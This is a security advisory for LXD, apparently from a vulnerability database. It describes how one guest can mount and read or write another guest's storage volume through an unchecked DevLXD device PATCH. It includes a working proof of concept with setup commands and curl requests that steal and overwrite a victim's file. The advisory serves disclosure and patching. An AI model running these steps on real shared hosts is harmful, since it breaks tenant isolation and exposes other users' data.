GHSA-HHF9-QW4V-72XP
Vulnerability from github – Published: 2026-11-05 17:40 – Updated: 2026-11-05 17:40Summary
A guest can mount another guest's custom storage volume over /dev/lxd and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with security.devlxd.management.volumes enabled can attach a volume belonging to a different guest by naming it in a device PATCH, giving one tenant full read and write access to another tenant's volume data.
Details
Volumes created over DevLXD get volatile.devlxd.owner set to the calling identity. The storage handlers enforce it on GET/PUT/DELETE (isDevLXDVolumeOwner, lxd/devlxd_storage.go:359) and on volume-copy sources (devlxd_storage.go:286). The device-attach path does not.
devLXDInstancePatchHandler (lxd/devlxd_instances.go:88) passes the guest's device map to generateDevLXDInstanceDevices (devlxd_instances.go:178). For a device that isn't already on the instance, the only check is isDeviceAccessible(device):
if (exists && !isOwned) || (!isDeviceAccessible(device))
exists is false for a newly added device, so isDeviceAccessible is the whole gate. It resolves to newDevLXDDeviceAccessValidator (devlxd_instances.go:250), which is diskDeviceAllowed && filters.IsCustomVolumeDisk(device). IsCustomVolumeDisk (lxd/device/filters/disk.go:28) checks the device shape only: type=disk, non-empty source, non-empty pool. It never loads the (pool, source) volume or compares its owner to the caller.
The handler then sets volatile.<dev>.devlxd.owner to the caller and issues an in-process PATCH to instancePatch (lxd/instance_patch.go:55). That call skips the HTTP access handler and runs only project quota checks (limits.AllowInstanceUpdate, instance_patch.go:215) before c.Update. The disk device's validateConfig confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's volatile.devlxd.owner still names the victim.
PoC
Built from source at HEAD d29ece6284 (reports as 6.8, API extension devlxd_volume_management); single host, dir pool, default project.
Host setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:
lxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true
lxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl
for g in a b; do
lxc auth identity create devlxd/id$g
lxc auth group create g$g
lxc auth group permission add g$g project default can_view
lxc auth group permission add g$g project default can_view_storage_volumes
lxc auth group permission add g$g project default can_create_storage_volumes
lxc auth group permission add g$g instance guest$g can_view project=default
lxc auth group permission add g$g instance guest$g can_edit project=default
lxc auth identity group add devlxd/id$g g$g
done
TOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)
TOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)
With devlxd defined as lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H "Authorization: Bearer <tok>" ...:
devlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{"name":"vola","type":"custom","config":{}}'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":{"type":"disk","pool":"default","source":"vola","path":"/mnt/mine"}}}'
lxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'
devlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{"devices":{"mine":null}}'
devlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404
devlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{"devices":{"stolen":{"type":"disk","pool":"default","source":"vola","path":"/mnt/stolen"}}}' # HTTP 200
lxc exec guestb -- cat /mnt/stolen/secret.txt
lxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'
lxc storage volume get default vola volatile.devlxd.owner returns guesta's identity; lxc config device get guestb stolen source returns vola.
Impact
Broken access control across tenants. It affects operators running untrusted guests in a shared LXD project with security.devlxd.management.volumes enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns 200 and a missing one returns a not-found error.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20250721152936-fe86ceb2c3fa"
},
{
"fixed": "0.0.0-20260626085133-7cb96ac80a6d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-12411"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-05T17:40:59Z",
"nvd_published_at": "2026-06-26T16:16:30Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA guest can mount another guest\u0027s custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don\u0027t own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant\u0027s volume data.\n\n### Details\n\nVolumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not.\n\n`devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest\u0027s device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn\u0027t already on the instance, the only check is `isDeviceAccessible(device)`:\n\n```go\nif (exists \u0026\u0026 !isOwned) || (!isDeviceAccessible(device)) \n```\n\n`exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed \u0026\u0026 filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller.\n\nThe handler then sets `volatile.\u003cdev\u003e.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device\u0027s `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume\u0027s `volatile.devlxd.owner` still names the victim.\n\n### PoC\n\nBuilt from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project.\n\nHost setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:\n\n```bash\nlxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl\n\nfor g in a b; do\n lxc auth identity create devlxd/id$g\n lxc auth group create g$g\n lxc auth group permission add g$g project default can_view\n lxc auth group permission add g$g project default can_view_storage_volumes\n lxc auth group permission add g$g project default can_create_storage_volumes\n lxc auth group permission add g$g instance guest$g can_view project=default\n lxc auth group permission add g$g instance guest$g can_edit project=default\n lxc auth identity group add devlxd/id$g g$g\ndone\nTOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)\nTOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)\n```\n\nWith `devlxd` defined as `lxc exec \u003cc\u003e -- curl --unix-socket /dev/lxd/sock -H \"Authorization: Bearer \u003ctok\u003e\" ...`:\n\n```bash\ndevlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom \u0027{\"name\":\"vola\",\"type\":\"custom\",\"config\":{}}\u0027\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta \u0027{\"devices\":{\"mine\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/mine\"}}}\u0027\nlxc exec guesta -- sh -c \u0027echo TOP-SECRET-OWNED-BY-A \u003e /mnt/mine/secret.txt\u0027\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta \u0027{\"devices\":{\"mine\":null}}\u0027\n\ndevlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola # HTTP 404\n\ndevlxd guestb $TOKEN_B PATCH /1.0/instances/guestb \u0027{\"devices\":{\"stolen\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/stolen\"}}}\u0027 # HTTP 200\n\nlxc exec guestb -- cat /mnt/stolen/secret.txt \nlxc exec guestb -- sh -c \u0027echo PWNED-BY-B \u003e /mnt/stolen/b_was_here.txt\u0027\n```\n\n`lxc storage volume get default vola volatile.devlxd.owner` returns guesta\u0027s identity; `lxc config device get guestb stolen source` returns `vola`.\n\n### Impact\n\nBroken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren\u0027t already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.",
"id": "GHSA-hhf9-qw4v-72xp",
"modified": "2026-11-05T17:40:59Z",
"published": "2026-11-05T17:40:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-hhf9-qw4v-72xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12411"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/pull/18585"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/752e25cfb849a349ff08939ce02747ef4d4e69cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "lxd allows Cross-guest volume hijack via DevLXD device patch"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.